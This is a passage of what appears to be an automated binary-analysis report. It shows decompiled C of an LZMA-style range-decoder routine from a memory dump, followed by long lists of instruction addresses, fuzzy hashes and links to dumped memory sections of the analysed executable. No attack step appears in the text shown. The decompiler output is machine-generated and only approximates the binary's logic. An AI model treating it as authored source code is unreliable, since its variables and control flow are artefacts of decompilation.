                                                                                    								__eax = __eax / _v120;
                                                                                    								__edx = _t420;
                                                                                    								__eax = _v108;
                                                                                    								_v108 = _v108 + 1;
                                                                                    								_v104 = _v104 - 1;
                                                                                    								_v52 = _v52 - 1;
                                                                                    								__eflags = _v52;
                                                                                    								 *_v108 = __cl;
                                                                                    								_v24 = _t420;
                                                                                    								if(_v52 > 0) {
                                                                                    									continue;
                                                                                    								} else {
                                                                                    									L83:
                                                                                    									_v140 = 2;
                                                                                    									goto L3;
                                                                                    								}
                                                                                    							}
                                                                                    							_v140 = 0x1c;
                                                                                    							L173:
                                                                                    							_push(0x22);
                                                                                    							_pop(_t574);
                                                                                    							memcpy(_v148,  &_v140, _t574 << 2);
                                                                                    							return 0;
                                                                                    					}
                                                                                    				}
                                                                                    				L174:
                                                                                    				_t538 = _t537 | 0xffffffff;
                                                                                    				return _t538;
                                                                                    			}










































                                                                                    0x00406786
                                                                                    0x0040678d
                                                                                    0x00406793
                                                                                    0x00406799
                                                                                    0x00000000
                                                                                    0x0040679d
                                                                                    0x004067a9
                                                                                    0x004067a9
                                                                                    0x004067a9
                                                                                    0x004067b2
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067b8
                                                                                    0x00000000
                                                                                    0x004067bf
                                                                                    0x004067c3
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067cc
                                                                                    0x004067cf
                                                                                    0x004067d2
                                                                                    0x004067d4
                                                                                    0x004067d6
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067dc
                                                                                    0x004067df
                                                                                    0x004067e1
                                                                                    0x004067e2
                                                                                    0x004067e5
                                                                                    0x004067e7
                                                                                    0x004067e8
                                                                                    0x004067ea
                                                                                    0x004067ed
                                                                                    0x004067f2
                                                                                    0x004067f7
                                                                                    0x00406800
                                                                                    0x00406813
                                                                                    0x00406816
                                                                                    0x0040681f
                                                                                    0x00406822
                                                                                    0x0040684a
                                                                                    0x0040684a
                                                                                    0x0040684c
                                                                                    0x0040685a
                                                                                    0x0040685a
                                                                                    0x0040685e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x0040684e
                                                                                    0x0040684e
                                                                                    0x00406851
                                                                                    0x00406851
                                                                                    0x00406852
                                                                                    0x00406852
                                                                                    0x00000000
                                                                                    0x0040684e
                                                                                    0x00406824
                                                                                    0x00406828
                                                                                    0x0040682d
                                                                                    0x0040682d
                                                                                    0x00406836
                                                                                    0x0040683c
                                                                                    0x0040683e
                                                                                    0x00406841
                                                                                    0x00000000
                                                                                    0x00406847
                                                                                    0x00406847
                                                                                    0x00000000
                                                                                    0x00406847
                                                                                    0x00000000
                                                                                    0x00406864
                                                                                    0x00406864
                                                                                    0x00406868
                                                                                    0x00407114
                                                                                    0x00000000
                                                                                    0x00407114
                                                                                    0x00406871
                                                                                    0x00406881
                                                                                    0x00406884
                                                                                    0x00406887
                                                                                    0x00406887
                                                                                    0x00406887
                                                                                    0x0040688a
                                                                                    0x0040688a
                                                                                    0x0040688e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406890
                                                                                    0x00406893
                                                                                    0x00406896
                                                                                    0x004068c0
                                                                                    0x004068c6
                                                                                    0x004068cd
                                                                                    0x00000000
                                                                                    0x004068cd
                                                                                    0x00406898
                                                                                    0x0040689c
                                                                                    0x0040689f
                                                                                    0x004068a4
                                                                                    0x004068a4
                                                                                    0x004068af
                                                                                    0x004068b5
                                                                                    0x004068b7
                                                                                    0x004068ba
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004068ff
                                                                                    0x00406905
                                                                                    0x00406908
                                                                                    0x00406915
                                                                                    0x0040691d
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004068d4
                                                                                    0x004068d4
                                                                                    0x004068d8
                                                                                    0x00407123
                                                                                    0x00000000
                                                                                    0x00407123
                                                                                    0x004068e4
                                                                                    0x004068ef
                                                                                    0x004068ef
                                                                                    0x004068ef
                                                                                    0x004068f2
                                                                                    0x004068f5
                                                                                    0x004068f8
                                                                                    0x004068fb
                                                                                    0x004068fd
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f94
                                                                                    0x00406f94
                                                                                    0x00406f9a
                                                                                    0x00406fa0
                                                                                    0x00406fa3
                                                                                    0x00406fa6
                                                                                    0x00406fc0
                                                                                    0x00406fc3
                                                                                    0x00406fc9
                                                                                    0x00406fd4
                                                                                    0x00406fd4
                                                                                    0x00406fd6
                                                                                    0x00406fa8
                                                                                    0x00406fa8
                                                                                    0x00406fb7
                                                                                    0x00406fbb
                                                                                    0x00406fbb
                                                                                    0x00406fd9
                                                                                    0x00406fe0
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406fe2
                                                                                    0x00406fe2
                                                                                    0x00406fe6
                                                                                    0x00407195
                                                                                    0x00000000
                                                                                    0x00407195
                                                                                    0x00406ff2
                                                                                    0x00406ff9
                                                                                    0x00407001
                                                                                    0x00407001
                                                                                    0x00407001
                                                                                    0x00407004
                                                                                    0x00407007
                                                                                    0x00407007
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406925
                                                                                    0x00406927
                                                                                    0x0040692a
                                                                                    0x0040699b
                                                                                    0x0040699e
                                                                                    0x004069a1
                                                                                    0x004069a8
                                                                                    0x004069b2
                                                                                    0x00000000
                                                                                    0x004069b2
                                                                                    0x0040692c
                                                                                    0x00406930
                                                                                    0x00406933
                                                                                    0x00406935
                                                                                    0x00406938
                                                                                    0x0040693b
                                                                                    0x0040693d
                                                                                    0x00406940
                                                                                    0x00406942
                                                                                    0x00406947
                                                                                    0x0040694a
                                                                                    0x0040694d
                                                                                    0x00406951
                                                                                    0x00406958
                                                                                    0x0040695b
                                                                                    0x00406962
                                                                                    0x00406966
                                                                                    0x0040696e
                                                                                    0x0040696e
                                                                                    0x0040696e
                                                                                    0x00406968
                                                                                    0x00406968
                                                                                    0x00406968
                                                                                    0x0040695d
                                                                                    0x0040695d
                                                                                    0x0040695d
                                                                                    0x00406972
                                                                                    0x00406975
                                                                                    0x00406993
                                                                                    0x00406995
                                                                                    0x00000000
                                                                                    0x00406995
                                                                                    0x00406977
                                                                                    0x0040697a
                                                                                    0x0040697d
                                                                                    0x00406980
                                                                                    0x00406982
                                                                                    0x00406982
                                                                                    0x00406982
                                                                                    0x00406985
                                                                                    0x00406988
                                                                                    0x0040698a
                                                                                    0x0040698b
                                                                                    0x0040698e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406bc4
                                                                                    0x00406bc8
                                                                                    0x00406be6
                                                                                    0x00406be9
                                                                                    0x00406bf0
                                                                                    0x00406bf3
                                                                                    0x00406bf6
                                                                                    0x00406bf9
                                                                                    0x00406bfc
                                                                                    0x00406bff
                                                                                    0x00406c01
                                                                                    0x00406c08
                                                                                    0x00406c09
                                                                                    0x00406c0b
                                                                                    0x00406c0e
                                                                                    0x00406c11
                                                                                    0x00406c14
                                                                                    0x00406c14
                                                                                    0x00406c19
                                                                                    0x00000000
                                                                                    0x00406c19
                                                                                    0x00406bca
                                                                                    0x00406bcd
                                                                                    0x00406bd0
                                                                                    0x00406bda
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c2e
                                                                                    0x00406c32
                                                                                    0x00406c55
                                                                                    0x00406c58
                                                                                    0x00406c5b
                                                                                    0x00406c65
                                                                                    0x00406c34
                                                                                    0x00406c34
                                                                                    0x00406c37
                                                                                    0x00406c3a
                                                                                    0x00406c3d
                                                                                    0x00406c4a
                                                                                    0x00406c4d
                                                                                    0x00406c4d
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c71
                                                                                    0x00406c75
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c7b
                                                                                    0x00406c7f
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c85
                                                                                    0x00406c87
                                                                                    0x00406c8b
                                                                                    0x00406c8b
                                                                                    0x00406c8e
                                                                                    0x00406c92
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406ce2
                                                                                    0x00406ce6
                                                                                    0x00406ced
                                                                                    0x00406cf0
                                                                                    0x00406cf3
                                                                                    0x00406cfd
                                                                                    0x00000000
                                                                                    0x00406cfd
                                                                                    0x00406ce8
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406d09
                                                                                    0x00406d0d
                                                                                    0x00406d14
                                                                                    0x00406d17
                                                                                    0x00406d1a
                                                                                    0x00406d0f
                                                                                    0x00406d0f
                                                                                    0x00406d0f
                                                                                    0x00406d1d
                                                                                    0x00406d20
                                                                                    0x00406d23
                                                                                    0x00406d23
                                                                                    0x00406d26
                                                                                    0x00406d29
                                                                                    0x00406d2c
                                                                                    0x00406d2c
                                                                                    0x00406d2f
                                                                                    0x00406d36
                                                                                    0x00406d3b
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406dc9
                                                                                    0x00406dc9
                                                                                    0x00406dcd
                                                                                    0x0040716b
                                                                                    0x00000000
                                                                                    0x0040716b
                                                                                    0x00406dd3
                                                                                    0x00406dd6
                                                                                    0x00406dd9
                                                                                    0x00406ddd
                                                                                    0x00406de0
                                                                                    0x00406de6
                                                                                    0x00406de8
                                                                                    0x00406de8
                                                                                    0x00406de8
                                                                                    0x00406deb
                                                                                    0x00406dee
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004069be
                                                                                    0x004069be
                                                                                    0x004069c2
                                                                                    0x0040712f
                                                                                    0x00000000
                                                                                    0x0040712f
                                                                                    0x004069c8
                                                                                    0x004069cb
                                                                                    0x004069ce
                                                                                    0x004069d2
                                                                                    0x004069d5
                                                                                    0x004069db
                                                                                    0x004069dd
                                                                                    0x004069dd
                                                                                    0x004069dd
                                                                                    0x004069e0
                                                                                    0x004069e3
                                                                                    0x004069e3
                                                                                    0x004069e6
                                                                                    0x004069e9
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004069ef
                                                                                    0x004069f5
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004069fb
                                                                                    0x004069fb
                                                                                    0x004069ff
                                                                                    0x00406a02
                                                                                    0x00406a05
                                                                                    0x00406a08
                                                                                    0x00406a0b
                                                                                    0x00406a0c
                                                                                    0x00406a0f
                                                                                    0x00406a11
                                                                                    0x00406a17
                                                                                    0x00406a1a
                                                                                    0x00406a1d
                                                                                    0x00406a20
                                                                                    0x00406a23
                                                                                    0x00406a26
                                                                                    0x00406a29
                                                                                    0x00406a45
                                                                                    0x00406a48
                                                                                    0x00406a4b
                                                                                    0x00406a4e
                                                                                    0x00406a55
                                                                                    0x00406a59
                                                                                    0x00406a5b
                                                                                    0x00406a5f
                                                                                    0x00406a2b
                                                                                    0x00406a2b
                                                                                    0x00406a2f
                                                                                    0x00406a37
                                                                                    0x00406a3c
                                                                                    0x00406a3e
                                                                                    0x00406a40
                                                                                    0x00406a40
                                                                                    0x00406a62
                                                                                    0x00406a69
                                                                                    0x00406a6c
                                                                                    0x00000000
                                                                                    0x00406a72
                                                                                    0x00000000
                                                                                    0x00406a72
                                                                                    0x00000000
                                                                                    0x00406a77
                                                                                    0x00406a77
                                                                                    0x00406a7b
                                                                                    0x0040713b
                                                                                    0x00000000
                                                                                    0x0040713b
                                                                                    0x00406a81
                                                                                    0x00406a84
                                                                                    0x00406a87
                                                                                    0x00406a8b
                                                                                    0x00406a8e
                                                                                    0x00406a94
                                                                                    0x00406a96
                                                                                    0x00406a96
                                                                                    0x00406a96
                                                                                    0x00406a99
                                                                                    0x00406a9c
                                                                                    0x00406a9c
                                                                                    0x00406a9c
                                                                                    0x00406aa2
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406aa4
                                                                                    0x00406aa7
                                                                                    0x00406aaa
                                                                                    0x00406aad
                                                                                    0x00406ab0
                                                                                    0x00406ab3
                                                                                    0x00406ab6
                                                                                    0x00406ab9
                                                                                    0x00406abc
                                                                                    0x00406abf
                                                                                    0x00406ac2
                                                                                    0x00406ada
                                                                                    0x00406add
                                                                                    0x00406ae0
                                                                                    0x00406ae3
                                                                                    0x00406ae3
                                                                                    0x00406ae6
                                                                                    0x00406aea
                                                                                    0x00406aec
                                                                                    0x00406ac4
                                                                                    0x00406ac4
                                                                                    0x00406acc
                                                                                    0x00406ad1
                                                                                    0x00406ad3
                                                                                    0x00406ad5
                                                                                    0x00406ad5
                                                                                    0x00406aef
                                                                                    0x00406af6
                                                                                    0x00406af9
                                                                                    0x00000000
                                                                                    0x00406afb
                                                                                    0x00000000
                                                                                    0x00406afb
                                                                                    0x00406af9
                                                                                    0x00406b00
                                                                                    0x00406b00
                                                                                    0x00406b00
                                                                                    0x00406b00
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406b3b
                                                                                    0x00406b3b
                                                                                    0x00406b3f
                                                                                    0x00407147
                                                                                    0x00000000
                                                                                    0x00407147
                                                                                    0x00406b45
                                                                                    0x00406b48
                                                                                    0x00406b4b
                                                                                    0x00406b4f
                                                                                    0x00406b52
                                                                                    0x00406b58
                                                                                    0x00406b5a
                                                                                    0x00406b5a
                                                                                    0x00406b5a
                                                                                    0x00406b5d
                                                                                    0x00406b60
                                                                                    0x00406b60
                                                                                    0x00406b66
                                                                                    0x00406b04
                                                                                    0x00406b04
                                                                                    0x00406b07
                                                                                    0x00000000
                                                                                    0x00406b07
                                                                                    0x00406b68
                                                                                    0x00406b68
                                                                                    0x00406b6b
                                                                                    0x00406b6e
                                                                                    0x00406b71
                                                                                    0x00406b74
                                                                                    0x00406b77
                                                                                    0x00406b7a
                                                                                    0x00406b7d
                                                                                    0x00406b80
                                                                                    0x00406b83
                                                                                    0x00406b86
                                                                                    0x00406b9e
                                                                                    0x00406ba1
                                                                                    0x00406ba4
                                                                                    0x00406ba7
                                                                                    0x00406ba7
                                                                                    0x00406baa
                                                                                    0x00406bae
                                                                                    0x00406bb0
                                                                                    0x00406b88
                                                                                    0x00406b88
                                                                                    0x00406b90
                                                                                    0x00406b95
                                                                                    0x00406b97
                                                                                    0x00406b99
                                                                                    0x00406b99
                                                                                    0x00406bb3
                                                                                    0x00406bba
                                                                                    0x00406bbd
                                                                                    0x00000000
                                                                                    0x00406bbf
                                                                                    0x00000000
                                                                                    0x00406bbf
                                                                                    0x00000000
                                                                                    0x00406e4c
                                                                                    0x00406e4c
                                                                                    0x00406e50
                                                                                    0x00407177
                                                                                    0x00000000
                                                                                    0x00407177
                                                                                    0x00406e56
                                                                                    0x00406e59
                                                                                    0x00406e5c
                                                                                    0x00406e60
                                                                                    0x00406e63
                                                                                    0x00406e69
                                                                                    0x00406e6b
                                                                                    0x00406e6b
                                                                                    0x00406e6b
                                                                                    0x00406e6e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c1c
                                                                                    0x00406c1c
                                                                                    0x00406c1f
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f5b
                                                                                    0x00406f5f
                                                                                    0x00406f81
                                                                                    0x00406f84
                                                                                    0x00406f8e
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00000000
                                                                                    0x00406f91
                                                                                    0x00406f61
                                                                                    0x00406f64
                                                                                    0x00406f68
                                                                                    0x00406f6b
                                                                                    0x00406f6b
                                                                                    0x00406f6e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407018
                                                                                    0x0040701c
                                                                                    0x0040703a
                                                                                    0x0040703a
                                                                                    0x0040703a
                                                                                    0x00407041
                                                                                    0x00407048
                                                                                    0x0040704f
                                                                                    0x0040704f
                                                                                    0x00000000
                                                                                    0x0040704f
                                                                                    0x0040701e
                                                                                    0x00407021
                                                                                    0x00407024
                                                                                    0x00407027
                                                                                    0x0040702e
                                                                                    0x00406f72
                                                                                    0x00406f72
                                                                                    0x00406f75
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407109
                                                                                    0x0040710c
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406d43
                                                                                    0x00406d45
                                                                                    0x00406d4c
                                                                                    0x00406d4d
                                                                                    0x00406d4f
                                                                                    0x00406d52
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406d5a
                                                                                    0x00406d5d
                                                                                    0x00406d60
                                                                                    0x00406d62
                                                                                    0x00406d64
                                                                                    0x00406d64
                                                                                    0x00406d65
                                                                                    0x00406d68
                                                                                    0x00406d6f
                                                                                    0x00406d72
                                                                                    0x00406d80
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407056
                                                                                    0x00407056
                                                                                    0x00407059
                                                                                    0x00407060
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407065
                                                                                    0x00407065
                                                                                    0x00407069
                                                                                    0x004071a1
                                                                                    0x00000000
                                                                                    0x004071a1
                                                                                    0x0040706f
                                                                                    0x00407072
                                                                                    0x00407075
                                                                                    0x00407079
                                                                                    0x0040707c
                                                                                    0x00407082
                                                                                    0x00407084
                                                                                    0x00407084
                                                                                    0x00407084
                                                                                    0x00407087
                                                                                    0x0040708a
                                                                                    0x0040708a
                                                                                    0x0040708a
                                                                                    0x0040708a
                                                                                    0x0040708d
                                                                                    0x0040708d
                                                                                    0x00407091
                                                                                    0x004070f1
                                                                                    0x004070f4
                                                                                    0x004070f9
                                                                                    0x004070fa
                                                                                    0x004070fc
                                                                                    0x004070fe
                                                                                    0x00407101
                                                                                    0x0040700d
                                                                                    0x0040700d
                                                                                    0x00000000
                                                                                    0x0040700d
                                                                                    0x00407093
                                                                                    0x00407099
                                                                                    0x0040709c
                                                                                    0x0040709f
                                                                                    0x004070a2
                                                                                    0x004070a5
                                                                                    0x004070a8
                                                                                    0x004070ab
                                                                                    0x004070ae
                                                                                    0x004070b1
                                                                                    0x004070b4
                                                                                    0x004070cd
                                                                                    0x004070d0
                                                                                    0x004070d3
                                                                                    0x004070d6
                                                                                    0x004070da
                                                                                    0x004070dc
                                                                                    0x004070dc
                                                                                    0x004070dd
                                                                                    0x004070e0
                                                                                    0x004070b6
                                                                                    0x004070b6
                                                                                    0x004070be
                                                                                    0x004070c3
                                                                                    0x004070c5
                                                                                    0x004070c8
                                                                                    0x004070c8
                                                                                    0x004070e3
                                                                                    0x004070ea
                                                                                    0x00000000
                                                                                    0x004070ec
                                                                                    0x00000000
                                                                                    0x004070ec
                                                                                    0x00000000
                                                                                    0x00406d88
                                                                                    0x00406d8b
                                                                                    0x00406dc1
                                                                                    0x00406ef1
                                                                                    0x00406ef1
                                                                                    0x00406ef1
                                                                                    0x00406ef1
                                                                                    0x00406ef4
                                                                                    0x00406ef4
                                                                                    0x00406ef7
                                                                                    0x00406ef9
                                                                                    0x00407183
                                                                                    0x00000000
                                                                                    0x00407183
                                                                                    0x00406eff
                                                                                    0x00406f02
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f08
                                                                                    0x00406f0c
                                                                                    0x00406f0f
                                                                                    0x00406f0f
                                                                                    0x00406f0f
                                                                                    0x00000000
                                                                                    0x00406f0f
                                                                                    0x00406d8d
                                                                                    0x00406d8f
                                                                                    0x00406d91
                                                                                    0x00406d93
                                                                                    0x00406d96
                                                                                    0x00406d97
                                                                                    0x00406d99
                                                                                    0x00406d9b
                                                                                    0x00406d9e
                                                                                    0x00406da1
                                                                                    0x00406db7
                                                                                    0x00406dbc
                                                                                    0x00406df4
                                                                                    0x00406df4
                                                                                    0x00406df8
                                                                                    0x00406e24
                                                                                    0x00406e26
                                                                                    0x00406e2d
                                                                                    0x00406e30
                                                                                    0x00406e33
                                                                                    0x00406e33
                                                                                    0x00406e38
                                                                                    0x00406e38
                                                                                    0x00406e3a
                                                                                    0x00406e3d
                                                                                    0x00406e44
                                                                                    0x00406e47
                                                                                    0x00406e74
                                                                                    0x00406e74
                                                                                    0x00406e77
                                                                                    0x00406e7a
                                                                                    0x00406eee
                                                                                    0x00406eee
                                                                                    0x00406eee
                                                                                    0x00000000
                                                                                    0x00406eee
                                                                                    0x00406e7c
                                                                                    0x00406e82
                                                                                    0x00406e85
                                                                                    0x00406e88
                                                                                    0x00406e8b
                                                                                    0x00406e8e
                                                                                    0x00406e91
                                                                                    0x00406e94
                                                                                    0x00406e97
                                                                                    0x00406e9a
                                                                                    0x00406e9d
                                                                                    0x00406eb6
                                                                                    0x00406eb8
                                                                                    0x00406ebb
                                                                                    0x00406ebc
                                                                                    0x00406ebf
                                                                                    0x00406ec1
                                                                                    0x00406ec4
                                                                                    0x00406ec6
                                                                                    0x00406ec8
                                                                                    0x00406ecb
                                                                                    0x00406ecd
                                                                                    0x00406ed0
                                                                                    0x00406ed4
                                                                                    0x00406ed6
                                                                                    0x00406ed6
                                                                                    0x00406ed7
                                                                                    0x00406eda
                                                                                    0x00406edd
                                                                                    0x00406e9f
                                                                                    0x00406e9f
                                                                                    0x00406ea7
                                                                                    0x00406eac
                                                                                    0x00406eae
                                                                                    0x00406eb1
                                                                                    0x00406eb1
                                                                                    0x00406ee0
                                                                                    0x00406ee7
                                                                                    0x00406e71
                                                                                    0x00406e71
                                                                                    0x00406e71
                                                                                    0x00406e71
                                                                                    0x00000000
                                                                                    0x00406ee9
                                                                                    0x00000000
                                                                                    0x00406ee9
                                                                                    0x00406ee7
                                                                                    0x00406dfa
                                                                                    0x00406dfd
                                                                                    0x00406dff
                                                                                    0x00406e02
                                                                                    0x00406e05
                                                                                    0x00406e08
                                                                                    0x00406e0a
                                                                                    0x00406e0d
                                                                                    0x00406e10
                                                                                    0x00406e10
                                                                                    0x00406e13
                                                                                    0x00406e13
                                                                                    0x00406e16
                                                                                    0x00406e1d
                                                                                    0x00406df1
                                                                                    0x00406df1
                                                                                    0x00406df1
                                                                                    0x00406df1
                                                                                    0x00000000
                                                                                    0x00406e1f
                                                                                    0x00000000
                                                                                    0x00406e1f
                                                                                    0x00406e1d
                                                                                    0x00406da3
                                                                                    0x00406da6
                                                                                    0x00406da8
                                                                                    0x00406dab
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406b0a
                                                                                    0x00406b0a
                                                                                    0x00406b0e
                                                                                    0x00407153
                                                                                    0x00000000
                                                                                    0x00407153
                                                                                    0x00406b14
                                                                                    0x00406b17
                                                                                    0x00406b1a
                                                                                    0x00406b1d
                                                                                    0x00406b20
                                                                                    0x00406b23
                                                                                    0x00406b26
                                                                                    0x00406b28
                                                                                    0x00406b2b
                                                                                    0x00406b2e
                                                                                    0x00406b31
                                                                                    0x00406b33
                                                                                    0x00406b33
                                                                                    0x00406b33
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c95
                                                                                    0x00406c95
                                                                                    0x00406c99
                                                                                    0x0040715f
                                                                                    0x00000000
                                                                                    0x0040715f
                                                                                    0x00406c9f
                                                                                    0x00406ca2
                                                                                    0x00406ca5
                                                                                    0x00406ca8
                                                                                    0x00406caa
                                                                                    0x00406caa
                                                                                    0x00406caa
                                                                                    0x00406cad
                                                                                    0x00406cb0
                                                                                    0x00406cb3
                                                                                    0x00406cb6
                                                                                    0x00406cb9
                                                                                    0x00406cbc
                                                                                    0x00406cbd
                                                                                    0x00406cbf
                                                                                    0x00406cbf
                                                                                    0x00406cbf
                                                                                    0x00406cc2
                                                                                    0x00406cc5
                                                                                    0x00406cc8
                                                                                    0x00406ccb
                                                                                    0x00406ccb
                                                                                    0x00406ccb
                                                                                    0x00406cce
                                                                                    0x00406cd0
                                                                                    0x00406cd0
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f12
                                                                                    0x00406f12
                                                                                    0x00406f12
                                                                                    0x00406f16
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f1c
                                                                                    0x00406f1f
                                                                                    0x00406f22
                                                                                    0x00406f25
                                                                                    0x00406f27
                                                                                    0x00406f27
                                                                                    0x00406f27
                                                                                    0x00406f2a
                                                                                    0x00406f2d
                                                                                    0x00406f30
                                                                                    0x00406f33
                                                                                    0x00406f36
                                                                                    0x00406f39
                                                                                    0x00406f3a
                                                                                    0x00406f3c
                                                                                    0x00406f3c
                                                                                    0x00406f3c
                                                                                    0x00406f3f
                                                                                    0x00406f42
                                                                                    0x00406f45
                                                                                    0x00406f48
                                                                                    0x00406f4b
                                                                                    0x00406f4f
                                                                                    0x00406f51
                                                                                    0x00406f54
                                                                                    0x00000000
                                                                                    0x00406f56
                                                                                    0x00406cd3
                                                                                    0x00406cd3
                                                                                    0x00000000
                                                                                    0x00406cd3
                                                                                    0x00406f54
                                                                                    0x00407189
                                                                                    0x004071ab
                                                                                    0x004071b1
                                                                                    0x004071b3
                                                                                    0x004071ba
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067b8
                                                                                    0x004071c0
                                                                                    0x004071c0
                                                                                    0x00000000

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 4d3c90e2c2c281b0151b8bc02d48c609eaff53916cbf358625803cc36882de51
                                                                                    • Instruction ID: 8282c7973928a3a8991f4aebeb421c6794774a39cdfa424cdd26f1de73b17733
                                                                                    • Opcode Fuzzy Hash: 4d3c90e2c2c281b0151b8bc02d48c609eaff53916cbf358625803cc36882de51
                                                                                    • Instruction Fuzzy Hash: 74816571D14228DBDF28CFA8C844BADBBB1FB44305F14816AD856BB2C1C7786A86DF45
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 98%
                                                                                    			E00406BC4() {
                                                                                    				signed int _t539;
                                                                                    				unsigned short _t540;
                                                                                    				signed int _t541;
                                                                                    				void _t542;
                                                                                    				signed int _t543;
                                                                                    				signed int _t544;
                                                                                    				signed int _t573;
                                                                                    				signed int _t576;
                                                                                    				signed int _t597;
                                                                                    				signed int* _t614;
                                                                                    				void* _t621;
                                                                                    
                                                                                    				L0:
                                                                                    				while(1) {
                                                                                    					L0:
                                                                                    					if( *(_t621 - 0x40) != 1) {
                                                                                    						 *((intOrPtr*)(_t621 - 0x80)) = 0x16;
                                                                                    						 *((intOrPtr*)(_t621 - 0x20)) =  *((intOrPtr*)(_t621 - 0x24));
                                                                                    						 *((intOrPtr*)(_t621 - 0x24)) =  *((intOrPtr*)(_t621 - 0x28));
                                                                                    						 *((intOrPtr*)(_t621 - 0x28)) =  *((intOrPtr*)(_t621 - 0x2c));
                                                                                    						 *(_t621 - 0x38) = ((0 |  *(_t621 - 0x38) - 0x00000007 >= 0x00000000) - 0x00000001 & 0x000000fd) + 0xa;
                                                                                    						_t539 =  *(_t621 - 4) + 0x664;
                                                                                    						 *(_t621 - 0x58) = _t539;
                                                                                    						goto L68;
                                                                                    					} else {
                                                                                    						 *(__ebp - 0x84) = 8;
                                                                                    						while(1) {
                                                                                    							L132:
                                                                                    							 *(_t621 - 0x54) = _t614;
                                                                                    							while(1) {
                                                                                    								L133:
                                                                                    								_t540 =  *_t614;
                                                                                    								_t597 = _t540 & 0x0000ffff;
                                                                                    								_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
                                                                                    								if( *(_t621 - 0xc) >= _t573) {
                                                                                    									 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
                                                                                    									 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
                                                                                    									 *(_t621 - 0x40) = 1;
                                                                                    									_t541 = _t540 - (_t540 >> 5);
                                                                                    									 *_t614 = _t541;
                                                                                    								} else {
                                                                                    									 *(_t621 - 0x10) = _t573;
                                                                                    									 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
                                                                                    									 *_t614 = (0x800 - _t597 >> 5) + _t540;
                                                                                    								}
                                                                                    								if( *(_t621 - 0x10) >= 0x1000000) {
                                                                                    									goto L139;
                                                                                    								}
                                                                                    								L137:
                                                                                    								if( *(_t621 - 0x6c) == 0) {
                                                                                    									 *(_t621 - 0x88) = 5;
                                                                                    									L170:
                                                                                    									_t576 = 0x22;
                                                                                    									memcpy( *(_t621 - 0x90), _t621 - 0x88, _t576 << 2);
                                                                                    									_t544 = 0;
                                                                                    									L172:
                                                                                    									return _t544;
                                                                                    								}
                                                                                    								 *(_t621 - 0x10) =  *(_t621 - 0x10) << 8;
                                                                                    								 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
                                                                                    								 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
                                                                                    								 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
                                                                                    								L139:
                                                                                    								_t542 =  *(_t621 - 0x84);
                                                                                    								while(1) {
